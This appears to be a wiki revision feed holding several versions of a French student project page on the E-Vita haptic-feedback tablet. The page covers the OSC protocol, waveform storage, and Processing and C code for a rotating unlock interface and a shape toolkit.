    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();&lt;br /&gt;
 void stopEvita();&lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38612</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38612"/>
				<updated>2017-02-06T15:55:21Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Boite à outils */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38035</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38035"/>
				<updated>2017-01-27T16:37:17Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Boite à outils */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
